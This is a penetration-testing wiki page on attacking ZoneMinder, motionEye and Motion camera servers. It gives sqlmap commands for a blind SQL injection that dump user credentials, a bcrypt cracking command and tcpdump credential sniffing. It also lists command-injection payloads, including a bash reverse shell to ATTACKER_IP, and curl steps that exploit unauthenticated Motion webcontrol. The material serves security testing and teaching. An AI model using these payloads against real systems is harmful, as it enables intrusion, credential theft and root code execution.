zoneminder-motioneye-motion.md (7547B)
1 --- 2 title: "ZoneMinder, motionEye & Motion" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/zoneminder-motioneye-motion.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # ZoneMinder, motionEye & Motion 14 15 ## Quick triage 16 17 When a target exposes a **CCTV / NVR web stack**, look for combinations such as: 18 19 - **ZoneMinder** under paths like **`/zm/`** 20 - **motionEye** on **`127.0.0.1:8765`** 21 - **Motion webcontrol** on **`127.0.0.1:7999`** 22 - RTSP / video side services such as **8554**, **1935**, or local image streams 23 24 After host access, the most interesting files are commonly: 25 26 - **`/etc/motioneye/motioneye.conf`** 27 - **`/etc/motioneye/*.conf`** 28 - ZoneMinder web sources / config revealing the DB name, tables, and auth model<sup>[[1]](#references)</sup> 29 30 ## ZoneMinder 31 32 ZoneMinder is an open-source video-surveillance platform; its source tree is useful for mapping routes, database access, authentication, and version-specific behavior during an authorized review.<sup>[[2]](#references)</sup> 33 34 ### Default credentials and versioning 35 36 ZoneMinder is commonly worth checking for: 37 38 - **default credentials** such as **`admin:admin`** 39 - exposed version information in the UI 40 - local source code / package version to map to known auth-only bugs 41 42 ### Blind SQLi in `action=removetag` 43 44 In vulnerable ZoneMinder **`1.37.* <= 1.37.64`**, the **`tid`** parameter in: 45 46 ```text 47 /zm/index.php?view=request&request=event&action=removetag&tid=1 48 ``` 49 50 can reach code that safely uses **`$_REQUEST['tid']`** in one query and then later concatenates it into:<sup>[[1]](#references)</sup> 51 52 ```php 53 $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; 54 ``` 55 56 Useful workflow: 57 58 1. Prove injection with a **time-based** payload such as **`SLEEP(5)`**. 59 2. Check if a **faster Boolean oracle** exists by appending conditions that preserve or break the response. 60 3. Determine the **UNION column count**. 61 4. Feed the working shape to **sqlmap** instead of waiting for slow time-based extraction. 62 63 Example from a real exploitation chain where the original query accepted **4 columns** and HTTP **`200`** indicated **True**:<sup>[[1]](#references)</sup> 64 65 ```bash 66 sqlmap -r removetag.request -p tid --batch \ 67 --prefix="1 UNION SELECT 1,2,3,4 WHERE " \ 68 --code 200 --technique=B --flush-session 69 ``` 70 71 Then enumerate only what matters: 72 73 ```bash 74 sqlmap -r removetag.request -p tid --batch \ 75 --prefix="1 UNION SELECT 1,2,3,4 WHERE " \ 76 --code 200 --technique=B \ 77 -D zm -T Users -C Username,Password,Name,Email --dump 78 ``` 79 80 This is especially useful when the application provides a better **Boolean** signal than sqlmap initially discovers by itself. 81 82 ### Turning app SQLi into OS access 83 84 ZoneMinder user dumps are high-value because they often contain **reusable operator credentials**.<sup>[[1]](#references)</sup> 85 86 - Identify the hash type first (for example **bcrypt** / **`$2y$`**). 87 - Crack only the extracted application users. 88 - Test reuse against **SSH**, **`su`**, SMB, VPN, or other operator-facing services. 89 90 Example bcrypt cracking flow: 91 92 ```bash 93 hashcat zm.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user -m 3200 94 ``` 95 96 ## Post-foothold: sniffing internal creds with `tcpdump` capabilities 97 98 On Linux CCTV appliances, low-privileged shells sometimes inherit useful **file capabilities** instead of sudo.<sup>[[1]](#references)</sup> 99 100 Check for capture primitives: 101 102 ```bash 103 getcap -r / 2>/dev/null 104 ``` 105 106 If **`tcpdump`** has **`cap_net_raw`** (or **`cap_net_admin,cap_net_raw`**), capture local traffic even as a non-root user: 107 108 ```bash 109 timeout 120 tcpdump -i any -w /tmp/capture.pcap 110 ``` 111 112 This is especially valuable when: 113 114 - loopback / bridge services are doing **cleartext internal auth** 115 - Docker bridges expose custom management channels 116 - **`/proc`** is mounted with **`hidepid`**, reducing normal process visibility 117 118 Review the pcap in Wireshark and prioritise: 119 120 - **Conversations** 121 - **Protocol Hierarchy** 122 - **Follow TCP Stream** on local / container management ports 123 124 ## motionEye / Motion 125 126 motionEye is a web frontend for the Motion daemon. Review both projects because a value validated or signed by motionEye can later be written to Motion configuration and consumed under Motion's own parsing and hook semantics.<sup>[[3]](#references)[[4]](#references)</sup> 127 128 ### Signed requests + client-side-only validation 129 130 motionEye signs config requests with **`_signature`**, so directly editing a captured JSON body normally breaks the request. However, some dangerous fields are only protected by **client-side JavaScript validation**.<sup>[[1]](#references)</sup> 131 132 A practical approach is: 133 134 1. Use the legitimate UI so the browser generates a valid **`_signature`**. 135 2. In DevTools, neutralise the validator, for example: 136 137 ```javascript 138 configUiValid = function() { return true; }; 139 ``` 140 141 3. Submit the malicious value through the normal UI workflow. 142 143 This is useful when the UI blocks characters such as **`$`**, but the backend still accepts them. 144 145 ### Filename-to-shell command injection 146 147 In vulnerable motionEye / Motion setups, fields such as **`image_file_name`** or **`picture_filename`** are written into Motion configuration and later propagated into shell-executed hooks such as **`on_picture_save ... %f`**.<sup>[[1]](#references)</sup> 148 149 If the saved filename contains shell substitution like **`$(...)`**, the shell expands it before the hook runs.<sup>[[1]](#references)</sup> 150 151 Probe payloads: 152 153 ```text 154 $(id) 155 $(ping -c 1 ATTACKER_IP) 156 $(bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1') 157 ``` 158 159 If the Motion process or hook executes as **root**, this becomes **root RCE**. 160 161 ### Unauthenticated localhost Motion webcontrol 162 163 If Motion webcontrol is reachable and unauthenticated, test it directly:<sup>[[1]](#references)</sup> 164 165 ```bash 166 curl -s http://127.0.0.1:7999/ 167 ``` 168 169 If advanced parameters are exposed (for example **`webcontrol_parms 2`**), you may be able to set **filename-related** options even when direct **`on_*`** hooks are protected. 170 171 Minimal exploitation sequence: 172 173 ```bash 174 curl -s "http://127.0.0.1:7999/1/config/set?picture_output=on" 175 curl -s "http://127.0.0.1:7999/1/config/set?picture_filename=%24(touch%20/tmp/pwned)" 176 curl -s "http://127.0.0.1:7999/1/config/set?emulate_motion=on" 177 ``` 178 179 Why this works: 180 181 - Motion saves a file using the attacker-controlled filename. 182 - The file path is later inserted as **`%f`** into **`on_picture_save`**. 183 - The hook is executed through a shell, so **`$(...)`** runs first. 184 185 ### Stored SHA1 hash accepted as a login secret 186 187 If you can read **`@admin_password`** from motionEye config, do not assume you must crack it first.<sup>[[1]](#references)</sup> 188 189 Some motionEye builds store: 190 191 ```text 192 @admin_password = sha1(real_password) 193 ``` 194 195 and then accept request signatures computed using the stored hash-derived secret. In practice, this means the stored **SHA1** may itself be usable as the **login secret** for the admin UI.<sup>[[1]](#references)</sup> 196 197 ## References 198 199 - [1] [0xdf - HTB: CCTV](https://0xdf.gitlab.io/2026/07/11/htb-cctv.html) 200 - [2] [ZoneMinder repository](https://github.com/ZoneMinder/zoneminder) 201 - [3] [motionEye repository](https://github.com/motioneye-project/motioneye) 202 - [4] [Motion Project](https://motion-project.github.io/)